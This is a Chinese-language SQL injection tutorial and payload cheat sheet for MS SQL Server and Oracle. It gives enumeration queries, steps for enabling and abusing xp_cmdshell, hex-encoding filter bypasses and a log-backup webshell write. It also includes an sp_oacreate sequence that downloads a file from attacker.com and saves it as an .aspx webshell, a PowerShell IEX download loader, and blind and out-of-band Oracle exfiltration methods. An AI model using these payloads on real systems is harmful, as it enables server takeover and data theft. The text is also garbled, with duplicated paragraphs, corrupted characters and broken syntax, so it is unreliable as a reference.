MS SQL Server注入
简介
MS SQL Server是微软推出的一款数据库产品,主要面向中小企业。其最大的优势就是在于集成了微软公司的各类产品及资源,提供了强大的可视化界面、高度集成的管理开发工具,在快速构建商业智能(BI)方面颇有建树,是微软公司在软件集成方案中的重要一环。
结和windows生态系统的产品,好处坏处都很分明。好处就是,高度集成化,微软也提供了整套的软件方案,基本上一套win系统装下来就齐活了。因此,不那么缺钱,但很缺IT人才的中小企业,会偏爱MS SQL Server。例如,自建ERP系统、商业智能、垂直领域零售商、餐饮、事业单位等等。
MSSQL注入与普通的MYSQL注入类似,但在数据结构特定函数名称上有些差异。而使用经过语法扩展的T-SQL语句,在实现更为复杂的业务的同时,也带来了安全上的危险。因此MSSQL在后续提权部分,与MYSQL有着较大的差异。
由于该数据库与Windows平台的高契合度,使其可以使用Windows身份验证(或SA管理员账号) ,
这就导致其运行权限较高。因此,若后续权限没有限制准确,WEB代码又存在SQL注入时,就会给整个服务器的安全带来严重威胁,其后果- -般比Mysq|被攻破要严重。
MSSQL注入与普通的MYSQL注入类似,但在数据结构特定函数名称上有些差异。而使用经过语法扩展的T-SQL语句,在实现更为复杂的业务的同时,也带来了安全上的危险。因此MSSQL在后续提权部分,与MYSQL有着较大的差异。
由于该数据库与Windows平台的高契合度,使其可以使用Windows身份验证(或SA管理员账号) ,
这就导致其运行权限较高。因此,若后续权限没有限制准确,WEB代码又存在SQL注入时,就会给整个服务器的安全带来严重威胁,其后果-般比Mysq|被攻破要严重。
mssql的特点
若MSSQL以Windows身份验证的方式运行,则获取的权限为启动身份,若为SA账号,则以mssqlserver服务权限,但这并不是系统的一个用户,而只是一个服务。 它只是Windows中有安全标识符(SID),但并不是真正的用户。
Windows用户列表中并没有对应名称的用户。
该权限可进行绝大部分的操作,但无法直接创建管理员账号。
T-SQL是SQL语言的一种版本,且只能在SQL SERVER上使用。它是ANSI SQL的加强版语言、提供了标准的SQL命令。T-SQL还对SQL做了许多补冲,提供了类似C、Basic和Pascal的基本功能, 如变量说明、流控制语言、功能函数等。
MSSQL:master、tempdb、model、msdb
与Mysql中的Information schema. mysq|库类似, MSSQL自带四个系统库,分别存储一一些特殊信息,对于前期注入而言,尤其要掌握tempdb。
tempdb数据库是-一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西.例如,排序时要用到tempdb数据库.数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库井重建。永远不要在tempdb数据库建立需要永久保存的表。
Dbo=表的使用用户
视图包含行和列,就像一个真实的表。 视图中的字段就是来自一个或多个数据库中的真实的表中的字段。
存储过程
存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL语句集,存
储在数据库中,经过第一-次编译后再次调用不需要再次编译, 用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。
存储过程大大地减少了业务系统与数据库的交互,降低了业务系统与数据库的耦合。
在MSSQL中,存在大量的存储过程,在带来便利的同时,也带来了安全上的威胁。比如XP_ cmdshel等存储过程可以被恶意攻击者用来执行系统命令、提权。
注入测试
渗透测试,就是信息搜集的过程
数据库信息搜集
可利用以下语法搜集数据库相关信息
@@VERSION
SELECT * FROM Users WHERE id = ‘1’ AND @@VERSION LIKE "%14%;
select name, loginame from master.syslogins, master…sysprocesses user, system user, suser_sname(), is srvrolemember( ‘sysadmin’ )
@@SERVERNAME
select name from master…sysdatabases
select DB_ NAME()
爆数据表
注:sql server使用的是top而不是limit
UNION SELECT name FROM master…sysobjects WHERE xtype='U"
//XTYPE
AND SELECT SUBSTRING(table_name.1,1) FROM information schema.tables > ‘A’
AND1 = (SELECT TOP 1 table, name FROM information_schematables)
//Top与limit
AND1= (SELECT TOP 1 table. name FROM information_schema.tables WHERE table. name NOT IN(SELECT TOP 1 table. name FROM information schema.tables))
Sysobjects
Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志规则、存储过程等,而XTYPE代表对象的类型。
通过以下注入语句依次爆出数据
SELECT table, name %2b.’ FROM information_schema.tables FOR XML PATH(‘’)
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=‘.’
SELECT @xy=@xy+’ '+name FROM sysobjects where xtype=‘U’ AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
UNION SELECT name FROM master_syscolurmns where id= (SELECT id FROM master_syscolumns WHERE name =‘tablename’)
AND SELECT SUBSTRINGlcolumn name,1.1) FROM
information_schema.columns>‘A’
AND1= (SELECT TOP 1 column_name FROM information_schema. columns>‘A’
AND1= (SELECT TOP 1 column. name FROM information_schema.columns where column name NOT IN(SELECT TOP 1 column_name FROM information schema columns))
多语句注入
多语句注入即为在原SQL语句之后拼接一个";" 字符,闭合原语句。之后即可拼接其它类型的SQL语句。例如:exec xp cmdshell ‘whoami > c://whoami.txt’
使用多语句注入可不受注入点类型限制,而MSSQL默认支持多语句注入
TMP临时表
我们在读取文件内容时,常常受限于显示位无法直接回显数据,这时就需要通过建立TMP临时表来间接将数据输出,创建语法为:CREATE TABLE #MyTempTable (cola INT PRIMARY KEY)
站库分离
站库分类指的是出于安全或性能考虑,网站与数据库不在同一台机器上,我们在注入过程中,需要考虑到,并判别目标网站是否执行了站库分离机制。
1’ and ((select host name())= (select @@SERVERNAME))#
若报错,则站库分离,若回显正常,则无站库分离
@@servername代表Host name代表Web应用主机
判断XP_ CMDSHELL是否开启
存储过程中的XP_ CMDSHELL可执行系统命令,是后续提权操作的主要方式,从MSSQL 2005版本之后,默认关闭
1’ and 1 =(Select count(*) FROM master…sysobjects where xtype = "X’ AND name =
‘xp_cmdshell’) –
若报错,则没有开启,若正常回显,则表示开启
开启xp_cmdshell
EXEC sp_ configure ‘show advanced options’ ,1
RECONFIGURE
EXEC sp_ configure ‘xp_ cmdshell’ ,1
RECONFIGURE
从写入文件到Getshell
转存入表
CREATE TABLE mydata (line varcar(8000);
BULK INSERT mydata FROM’d://1.txt’;
DROP TABLE mydata,
16进制转换绕过
'AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524150205441424c45205440505144423b AS VARCHAR(4000));
EXEC (@S)–
绕过引号
SELECT * FROM Users WHERE usemame = CHAR(97) + CHAR(100) +
CHAR(109) + CHAR(105) + CHAR(110)
定位数据库文件
EXEC sp_helpdb master. -location of master.mdf
dbowner权限下进行扩展攻击利用
;alter database news set RECOVERY FULL–
;create table test(str image)–
;backup log news to disk= ‘C:\test’ with init–
;insert into test(str)values (‘恶意代码’)–
sp_ oacreate存储下载的远程文件
;DECLARE @B varbinary(8000),@hr int@http INT,@down INT
EXEC sp oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_ oamethod @http,[Open],null,[GET].[http://www.attacker.com/muma.txt],0
EXEC @hr = sp oamethod @http,[Send],null
EXEC @hr=sp. OAGetProperty @http,[responseBody],@B output
EXEC @hr=sp_ oacreate [ADODB.Stream],@down output
EXEC @hr=sp. OASetProperty @down,[Type],1 EXEC @hr=sp_ OASetProperty @down,[mode],3
EXEC @hr=sp oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write].null,@B
EXEC @hr=sp_ oamethod @down,[SaveToFile],null,[c.\www_iis\muma.aspx],1
Sqlmap+johnny获取口令
当我们通过Web端对MSSQL数据库进行注入时,需要多次请求,通过反复测试来进行进一步地渗透, 如果是盲注漏洞,操作量更是巨大。其实这段步骤,可以通过Sqlmap攻击及进行简化。确定注入点之后,只需要根据绕过规则,编写自定义的temper脚本(简单情况可省去) ,利用SqImap中的板块,自动化地进行注入即可。
在使用Sqlmap获取到账号的口令密文后,可使用Johnny工具破解密文,以此来获取明文的口令。
完整的注入流程:
Burp抓包检测注入
Sqlmap抓取密文
Jonhnny破解密文
Sysadmin扩展攻击方式
xp_ cmdshell扩展执行任命令
xp_ cmdshell选项是SQL Server服务器配选项,该选项使系统管理员能够控制是否可以在系统上
执行xp_cmdshell扩展存储过程。
借由xp_cmdshel执行命令后,执行结果存储在创建的表中。再通过查询的方式,获取执行结果。
OPENROWSET绕过Web端限制
当无法直接远连数据库,并无法使用多语句注入时,就需要在Web端,执行xp_ cmdshell之类命令。但由于语法限制,DML语句中无法直接调用DCL语句。因此,这时就需要使用OPENROWSET来绕过限制。
OPENROWSER包含访问OLE DB数据源中的远程数据所需的所有连接信息,并可以在查询的
FROM子句中引用,就好像它是一个表名。
SELECT * FROM OPENROWSET( ‘SQLOLEDB’ ,数据库地址’ ;数据库用户名’;数据库密
码’’,‘SET FMTONLY OFF execute master…xp_cmdshell ‘’‘dir’’');
其它存储过程的奇功异术
System权限
Xp_ regwrite //操作注册表
sp makewebtask //写入- -句话木马
sp_ oacreate //存储远程下载文件
sp_ _addlogin //扩展管理数据库用户
使用PowerUpSQL简化攻击
PowerUpSQL是一款基于Powershell的, 针对MSSQL数据库的利用工具
Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。可以把它看成是命令行提示符cmd.exe的扩充。
从Win08开始,就内置了Powershell,在渗透过程中,可以将Powershell作为依托,做免杀处理及
向内网扩展攻击。无需安装其它环境,具有隐蔽,高效,功能强大等特点。
需要环境:
设置允许外部脚本: set-executionpolicy remotesigned
安装模块
Install-Module -Name PowerUpSQL
下载github项目文件,并移动到相关路径,执行以下命令
Import-Module PowerUpSQL.psd1
导入函数
lEX(New-Object
System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/NetSPl/Po
werUpSQL/master/PowerUpSQL.psd1”)
https://github.com/NetSPl/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
Oracle数据库注入
Oracle数据库是甲骨文推出的一款大型数据库,主要面向大型传统企业,自1979年出现以来, 持续
占有市场主要份额。由于其性能和稳定性,曾经世界前500强公司几乎全部使用Oracle。能够满足可用性、健壮性、安全性、实时性要求极高、大量数据存储分析的业务。
即使到了2018年,绝大部分的金融、通信、能源、运输、零售、制造企业依旧使用Oracle数据库。随着版本的更替,Oracle变得越来越严谨、安全、高速、稳定,当然,不可避免地也变得越来庞大。
Oracle注入与之前介绍的Mysql /MSSQL注入插件类似,结构上有些差异,与MSSQL神似的是, 它
也使用了一款“加强版SQL"语言,PL/SQL语言。Oracle体系非常庞大,其安全性也Mysq/MSSQL
要好,能够进行用户类别管理/账号及口令设置/细颗粒权限管理等安全配置。
但如果数据库管理员没能熟练掌握Oracle的安全体系,权限没有限制严格,很容易被攻击者利用,通过SQL注入窃取数据,或利用Oracle“定义者/调用者"权限分离的特性进行提权。这对于传统企业,是一种毁灭性打击。
下载地址:
http://www.oracle.com/technetwork/database/enterprise- edition/downloads/index.html
Oracle数据库的权限机制
Oracle的权限分类:
系统权限管理:
DBA
RESOURCE:实体权限管理:execute和All(select, update, insert, alter, index, delete)
CONNECT
当发生权限传递时
1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。
PL/SQL
PL/SQL也是一种程序语言,叫过程化SQL语言(Procedural Language/SQL) 。
PL/SQL是Oracle数据库对SQL语句的扩展,在普通SQL语句的使用上增加了编程语言的特点,所以,PL/SQL就是把数据库操作和查询语句组织在PL/SQL代码的过程化单元中,通过逻辑判断、循环等操作实现复染的功能或者计算的程序。
DECLARE
BEGIN
DAT
< executable command(s)>
EXCEPTION
END;
Oracle的注入有以下规则
1.Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual, dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
2.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道), 所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
3.Oracle的单行注释符号是–, 多行注释符号/**/.
实例注入语句
判断列数: ‘order by 3-
判断回显位置: ’ union select null,null,null from dual -
获取数据库版本信息: ’ union select null,(select banner from sys.v_$version where rownum=1),null from dual -
获取数据表名:
’ union select nl,(select table_ name from user_ tables where rownurn= 1),null from dual -
'union select null,(select table_ name from user. tables where rownum=1 and table name<>‘T_ USER’),null from dual -
获取关键表中的列名:
’ union select null,(select column_name from user_tab_columns where table_ name=‘T_ USER’ and rownum= 1),null from dual –
盲注——报错盲注
1.使用utl inadd.get.host nam()进行报错注入
2.使用ctxsys.drithsx.sn()进行报错注入
3.使用XMLType()进行报错注入
4.使用dbms_xdb_version.checkin()进行报错注入
Oracle布尔盲注:
1.使用decode函数进行布尔盲注:
substr(user,1,1)是条件,'S’是要遍历的位置,如果匹配
便返回翻译值1,否则使用默认值0
[decode的理解]
decode(条件,值1,翻译值1,值2,翻译值…值n,翻译值n,缺省值)的理解如下:
if (条件==值1)
then
return(翻译值1)
elsif (条件==值2)
then
return(翻译值2)
end if
Oracle时间盲注
oracle的时间盲注通常使用DBMS_ PIPE.RECEIVE MESSAGE(),这个也是通过SQLMAP源码中发现的,而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case, if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如: (select count(*) from all objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
1.使用DBMS PIPE RECEIVE_ MESSAGE()进行时间盲注。
2.使用decode()进时间盲注。
3.使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。
盲注——外带通信
Oracle发送HTTP和DNS请求, 并将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式
使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用utl_ http.request0向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测,或许这就是Oracle的ssrf
利用utl _inaddr.get_host _address0,将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。